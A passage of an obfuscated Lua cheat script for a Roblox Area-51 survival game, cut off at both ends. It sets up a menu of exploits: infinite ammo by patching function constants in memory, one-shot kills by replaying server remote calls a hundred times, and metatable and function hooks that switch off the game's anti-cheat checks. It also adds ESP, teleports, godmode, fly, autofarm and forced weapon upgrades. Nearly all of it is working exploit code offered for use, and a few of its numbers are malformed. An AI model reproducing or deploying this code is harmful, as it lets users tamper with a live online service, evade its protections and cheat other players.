a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==4678052190 then local o="BloodTheme"local x=n.CreateLib("Juggernaut Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("Teleports")game:GetService("Workspace").AREA51.MapLimit:Destroy()z:NewToggle("Juggernaut Autofarm:","Enables Autofarm for Juggernaut",function(R)if R then m.Notify("Enabled Autofarm","Press F to enable UI again","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA('TouchTransmitter')then v:Destroy()end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Kill all as Juggernaut","Kills all Players",function(R)if R then local ap=game.Workspace.Killers.Model;local aq=player.Character;local ar=game:GetService("Players"):GetPlayers()for K,v in pairs(ar)do repeat wait()ap.Torso.CFrame=CFrame.new(v.Character.Head.Position)until v.Character.Humanoid<=0 end else print("Toggle Off")end end)z:NewButton("Teleport to Juggernaut","Teleports to the juggernaut",function()repeat wait()for a2,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-6 end end until v.Humanoid.Health==0 end)z:NewToggle("Annoy Juggernaut:","Attempts to annoy Juggernaut",function(R)if R then m.Notify("Annoying Juggernaut","lol","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.autoFarm=true;local l=game.Workspace.CurrentCamera;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R6 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.Torso.CanCollide=false;game.Players.LocalPlayer.Character["Left Leg"].CanCollide=false;game.Players.LocalPlayer.Character["Right Leg"].CanCollide=false else if game.Players.LocalPlayer.Character.Humanoid.RigType==Enum.HumanoidRigType.R15 then game.Players.LocalPlayer.Character.Head.CanCollide=false;game.Players.LocalPlayer.Character.UpperTorso.CanCollide=false;game.Players.LocalPlayer.Character.LowerTorso.CanCollide=false;game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide=false end end;wait(.1)local as=Instance.new("BodyThrust")as.Parent=game.Players.LocalPlayer.Character.HumanoidRootPart;as.Force=Vector3.new(power,0,power)as.Location=game.Players.LocalPlayer.Character.HumanoidRootPart.Position;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame until al.Humanoid.Health<=0 end end end end else _G.autofarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewButton("Exit-Spectate","Exits spectate",function()workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewButton("NoClip","Click this to turn on NoClip",function()k.Character.Humanoid:ChangeState(11)end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Juggernaut","Gives you more Damage on Killers",function()local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("PLAYER ESP/JUGGERNAUT ESP")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Juggernaut ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.7;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace.Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("AREA51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the 